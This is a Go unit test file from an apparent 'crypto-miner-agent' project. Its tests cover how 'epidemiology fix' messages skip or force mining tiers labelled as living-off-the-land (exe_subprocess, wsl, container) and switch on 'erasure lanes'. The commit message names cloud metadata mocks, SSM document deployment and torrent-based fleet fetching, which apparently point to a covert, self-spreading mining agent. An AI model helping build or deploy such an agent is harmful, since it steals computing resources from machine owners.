Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.
61 lines
1.7 KiB
Go
61 lines
1.7 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
|
|
c := &AgentClient{agentID: "a1"}
|
|
raw, _ := json.Marshal(EpidemiologyFix{
|
|
AgentID: "a1",
|
|
Reason: "broken branch",
|
|
SkipTiers: []string{"exe_subprocess", "wsl"},
|
|
})
|
|
c.applyEpidemiologyFixJSON(raw)
|
|
policy := c.miningTierPolicy()
|
|
if len(policy.SkipTiers) != 2 {
|
|
t.Fatalf("skip tiers=%v", policy.SkipTiers)
|
|
}
|
|
if policy.SkipTiers[0] != miner.LOTLTier("exe_subprocess") {
|
|
t.Fatalf("first skip=%v", policy.SkipTiers[0])
|
|
}
|
|
}
|
|
|
|
func TestApplyEpidemiologyFixForceTier(t *testing.T) {
|
|
c := &AgentClient{}
|
|
raw, _ := json.Marshal(EpidemiologyFix{
|
|
ForceTier: "container",
|
|
})
|
|
c.applyEpidemiologyFixJSON(raw)
|
|
policy := c.miningTierPolicy()
|
|
if policy.ForceTier != miner.TierContainer {
|
|
t.Fatalf("force tier=%v", policy.ForceTier)
|
|
}
|
|
}
|
|
|
|
func TestApplyEpidemiologyFixErasureLanes(t *testing.T) {
|
|
c := &AgentClient{cfg: config.RuntimeConfig{}}
|
|
raw, _ := json.Marshal(EpidemiologyFix{ErasureLanes: true, Reason: "court splice"})
|
|
c.applyEpidemiologyFixJSON(raw)
|
|
if !c.cfg.ErasureLanesEnabled {
|
|
t.Fatal("expected erasure lanes enabled")
|
|
}
|
|
}
|
|
|
|
func TestApplyEpidemiologyFixSkipsWrongAgent(t *testing.T) {
|
|
c := &AgentClient{agentID: "mine", tierPolicy: miner.MiningTierPolicy{SkipTiers: []miner.LOTLTier{"wsl"}}}
|
|
raw, _ := json.Marshal(EpidemiologyFix{
|
|
AgentID: "other",
|
|
SkipTiers: []string{"exe_subprocess"},
|
|
})
|
|
c.applyEpidemiologyFixJSON(raw)
|
|
policy := c.miningTierPolicy()
|
|
if len(policy.SkipTiers) != 1 || policy.SkipTiers[0] != miner.LOTLTier("wsl") {
|
|
t.Fatalf("policy=%+v", policy)
|
|
}
|
|
}
|